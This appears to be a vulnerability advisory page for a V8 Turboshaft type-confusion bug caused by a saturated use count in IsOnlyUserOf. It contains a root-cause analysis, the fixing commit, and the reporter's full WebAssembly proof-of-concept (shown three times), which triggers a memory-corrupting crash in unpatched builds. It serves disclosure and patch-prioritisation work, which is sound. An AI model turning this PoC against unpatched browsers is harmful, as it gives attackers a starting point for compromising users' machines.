High patch-now ✔︎ verified CVSS 8.8 chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Sub-componentTurboshaft
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Saturation mechanism matches diff. But it never names which Turboshaft reducer consumes IsOnlyUserOf, so the type-confusion path is inferred. The PoC hits the cap through ~255 phi inputs from br_table/br, not mainly through the 100 struct.gets. --no-liftoff only forces tier-up.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker488803413
Fix commit23ec84a323a2 (v8/v8) +79/-0
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedZhenpeng (Leo) Lin at depthfirst
Reported2026-03-01 (per vendor advisory)
Fix landed2026-03-02 (public git)
Disclosed2026-03-18
Patch gap16 days — fix public in source before the advisory

Background

Turboshaft
V8’s newer optimizing-compiler IR and backend, where WebAssembly (with --no-liftoff) and JS are lowered to a sea-of-nodes-style graph of Operations.
`saturated_use_count`
a small saturating counter attached to each value/Operation that tracks how many times it is used; once uses exceed the counter’s cap it saturates and can no longer report the true count.
`IsOnlyUserOf`
a helper (in operations.cc) that answers whether the current Operation is the sole user of a given value, which optimizations rely on to safely mutate, reuse, or fold that value in place.
`SaturatedUint8`-style `IsOne()` / `IsSaturated()` / `Get()`
accessors returning whether the count is exactly one, whether it has hit its cap, and its stored numeric value respectively.

Root Cause Analysis

IsOnlyUserOf decides sole-ownership by first returning true when value.saturated_use_count.IsOne(), and otherwise returning whether std::count(inputs().begin(), inputs().end(), graph.Index(value)) == value.saturated_use_count.Get(). The invariant this comparison assumes is that saturated_use_count.Get() equals the true number of uses, but once the counter saturates, Get() returns only the cap, which is a lower bound and no longer the real count. An attacker can inflate a value’s real use count past the saturation cap (the PoC issues 100 struct.get uses of the same local plus many br_table/br references) so that the number of times the value appears in this operation’s inputs() can equal the saturated cap while other, uncounted uses still exist elsewhere in the graph. In that state the equality holds and IsOnlyUserOf wrongly reports the operation as the exclusive user, licensing an optimization to treat the value as privately owned even though other operations still consume it.

The fix inserts if (value.saturated_use_count.IsSaturated()) return false; before the equality comparison, so a saturated (i.e. unknown-count) value conservatively reports “not the only user,” preventing the unsound transformation.

Key insight
The core mistake is comparing a saturated (capped, imprecise) use count against an exact input-occurrence count as if it were exact, letting IsOnlyUserOf return a false positive; the fix bails out with false whenever the count is saturated, because saturation means the true use count is unknown and exclusivity cannot be proven.

Attack Path

  1. Craft a Wasm function that saturates a value's use count The PoC (regress-488803413.js) builds a module with a struct global loaded into a local, then emits ~100 struct.get uses plus a 256-deep block/br_table structure that references the same struct-typed value many times, driving its saturated_use_count to the saturation cap.
  2. Compile with the optimizing tier Running under --no-liftoff forces the function through Turboshaft, where value use counts are tracked with the saturating counter.
  3. Trigger the false exclusivity check During optimization, IsOnlyUserOf is queried for the struct value; because the count is saturated, Get() returns the cap, which matches the number of occurrences in the operation’s inputs(), so the pre-patch code returns true.
  4. Unsound optimization on a shared value An optimization that requires sole ownership then transforms/reuses the value in place despite remaining uses elsewhere, producing a mis-typed or aliased operand consistent with the Type Confusion bug class (inferred; the specific consuming optimization and sink are not shown in the diff).

Impact Assessment

An attacker who can run WebAssembly in the renderer can mislead a Turboshaft optimization into treating a still-shared value as exclusively owned, yielding type confusion in the optimized code (inferred as the exploitation primitive; the diff shows only the faulty ownership check). The advisory classifies this as Type Confusion in V8 and reports no exploited-in-the-wild status here; preconditions are the ability to instantiate and run a crafted Wasm module in a tier that uses Turboshaft. Any escalation to a read/write primitive or code execution is (inferred) and not demonstrated by the patch.

Changed Functions

FunctionChangeNotes
for
test/mjsunit/wasm/regress-488803413.js
modified
if
test/mjsunit/wasm/regress-488803413.js
modified

Files Changed

  • src/compiler/turboshaft/operations.cc
  • test/mjsunit/wasm/regress-488803413.js

Audit Directions

  • Saturating-counter arithmetic
    Audit every consumer of saturated_use_count/SaturatedUint8 that reads .Get() or compares counts for correctness assumptions, since a saturated value silently underreports and any exact comparison against it is suspect.
  • Sole-ownership optimizations
    Review Turboshaft (and Maglev) transformations gated on IsOnlyUserOf or equivalent single-use predicates, verifying they fail safe when ownership cannot be proven rather than when a count merely matches.
  • Use-count inflation vectors
    Look for language features (Wasm br_table, repeated struct.get, large block nests) that let untrusted input push use counts to saturation, turning imprecise counters into exploitable ambiguity.
From 23ec84a323a2af8fcbbcdf37be3ea28a1c77f57b Mon Sep 17 00:00:00 2001
From: Darius Mercadier <dmercadier@chromium.org>
Date: Mon, 02 Mar 2026 13:14:22 +0100
Subject: [PATCH] [turboshaft] Take use-count saturation into account in IsOnlyUserOf

Fixed: 488803413
Change-Id: I7cf0911de2338144e2d972a53c5787f186b43623
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7623257
Auto-Submit: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Nico Hartmann <nicohartmann@chromium.org>
Commit-Queue: Nico Hartmann <nicohartmann@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105521}
---

diff --git a/src/compiler/turboshaft/operations.cc b/src/compiler/turboshaft/operations.cc
index 4da92e5..76d8e9c 100644
--- a/src/compiler/turboshaft/operations.cc
+++ b/src/compiler/turboshaft/operations.cc
@@ -2365,6 +2365,7 @@
   DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)),
             1);
   if (value.saturated_use_count.IsOne()) return true;
+  if (value.saturated_use_count.IsSaturated()) return false;
   return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
          value.saturated_use_count.Get();
 }
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+    let res = [];
+    do {
+        let byte = v & 0x7f;
+        v >>= 7;
+        if (v !== 0) byte |= 0x80;
+        res.push(byte);
+    } while (v !== 0);
+    return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+    body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+    body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+    body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+    body.push(kExprEnd);
+    if (i === 0) {
+        body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+    } else {
+        body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+    }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+  .addLocals(wasmRefNullType(structType), 3)
+  .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+  .addBody([
+    kExprI32Const, 42,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 0,
+    kExprI32Const, 43,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 1
+  ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+  try { instance.exports.trigger(i); } catch(e) {}
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+    let res = [];
+    do {
+        let byte = v & 0x7f;
+        v >>= 7;
+        if (v !== 0) byte |= 0x80;
+        res.push(byte);
+    } while (v !== 0);
+    return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+    body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+    body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+    body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+    body.push(kExprEnd);
+    if (i === 0) {
+        body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+    } else {
+        body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+    }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+  .addLocals(wasmRefNullType(structType), 3)
+  .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+  .addBody([
+    kExprI32Const, 42,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 0,
+    kExprI32Const, 43,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 1
+  ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+  try { instance.exports.trigger(i); } catch(e) {}
+}
Loading diff…

Original Bug Report

reported by le...@depthfirst.com

Turboshaft saturated use-count misclassification causes Wasm compressed/tagged base mismatch SIGSEGV

VULNERABILITY DETAILS

Summary

A Turboshaft use-count saturation bug in Operation::IsOnlyUserOf causes incorrect ownership conclusions once an operation’s use count saturates at 255. In the WebAssembly decompression optimization path, this can keep a Phi value compressed while one of its inputs must remain tagged, producing a representation mismatch and invalid x64 addressing during generated code execution.

Detail

Root cause is in src/compiler/turboshaft/operations.cc:

bool Operation::IsOnlyUserOf(const Operation& value, const Graph& graph) const {
  DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)), 1);
  if (value.saturated_use_count.IsOne()) return true;
  return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
         value.saturated_use_count.Get();
}

value.saturated_use_count is SaturatedUint8 (src/compiler/turboshaft/operations.h) and saturates at 255. When the true use count is greater than 255, Get() still returns 255. If a specific user (here, a Phi) references the value exactly 255 times, IsOnlyUserOf returns true even though other users still exist.

This incorrect result is consumed in src/compiler/turboshaft/decompression-optimization.cc by DecompressionAnalyzer::MarkAddressingBase:

if (!input.Is<LoadOp>() || !base.IsOnlyUserOf(input, graph) ||
    !input.Cast<LoadOp>().loaded_rep.IsCompressibleTagged()) {
  keep_compressed = false;
  break;
}

For the crafted Wasm graph, one LoadOp is used 355 times total (255 in the Phi + 100 elsewhere). Due to saturation, IsOnlyUserOf misreports sole ownership and the Phi is kept Compressed, while the same LoadOp still has other uses requiring tagged handling. That inconsistency propagates into instruction selection and register allocation, producing generated code that treats a full tagged pointer as a compressed-offset operand in a complex addressing form, leading to immediate invalid memory access in JIT code.

VERSION

V8 Commit: 7f3825903cdc2eb341462710172b73dc5ca9215d

ENVIRONMENT SETUP

Release ASan:

gn gen out/release_asan --args='is_asan=true is_debug=false v8_enable_test_features=false symbol_level=1'
ninja -C out/release_asan d8

REPRODUCTION CASE

  1. Save PoC as repro.js:
d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let emit_leb = (v) => {
    let res = [];
    do {
        let byte = v & 0x7f;
        v >>= 7;
        if (v !== 0) byte |= 0x80;
        res.push(byte);
    } while (v !== 0);
    return res;
};

let builder = new WasmModuleBuilder();
let structType = builder.addStruct([makeField(kWasmI32, true)]);
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");

let body = [];

body.push(kExprGlobalGet, 0, kExprLocalSet, 1);

for (let i = 0; i < 100; i++) {
    body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
}

body.push(kExprGlobalGet, 1, kExprLocalSet, 2);

body.push(kExprBlock, kWasmRefNull, structType);

for (let i = 0; i < 256; i++) {
    body.push(kExprBlock, kWasmVoid);
}

body.push(kExprLocalGet, 0, kExprBrTable);
body.push(...emit_leb(255));
for (let i = 0; i < 255; i++) {
    body.push(...emit_leb(i + 1));
}
body.push(...emit_leb(0));

for (let i = 255; i >= 0; i--) {
    body.push(kExprEnd);
    if (i === 0) {
        body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
    } else {
        body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
    }
}

body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);

builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
  .addLocals(wasmRefNullType(structType), 3)
  .addBody(body).exportFunc();

builder.addFunction("create", makeSig([], []))
  .addBody([
    kExprI32Const, 42,
    kGCPrefix, kExprStructNew, structType,
    kExprGlobalSet, 0,
    kExprI32Const, 43,
    kGCPrefix, kExprStructNew, structType,
    kExprGlobalSet, 1
  ]).exportFunc();

let instance = builder.instantiate({});
instance.exports.create();

for (let i = 0; i <= 255; i++) {
  try { instance.exports.trigger(i); } catch(e) {}
}

console.log("SUCCESS");
  1. Run:
out/release_asan/d8 --no-liftoff repro.js

CRASH LOG

Received signal 11 <unknown> 000000000000

==== C stack trace ===============================

out/release_asan/d8(__interceptor_backtrace+0x46)[0x61f78f250b86]
out/release_asan/d8(+0x62df500)[0x61f7941ab500]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x73fbf3245330]
[0x7eba3ebd0bb4]
[end of stack trace]

CREDIT INFORMATION

Reporter credit: Zhenpeng (Leo) Lin at depthfirst

View on issue tracker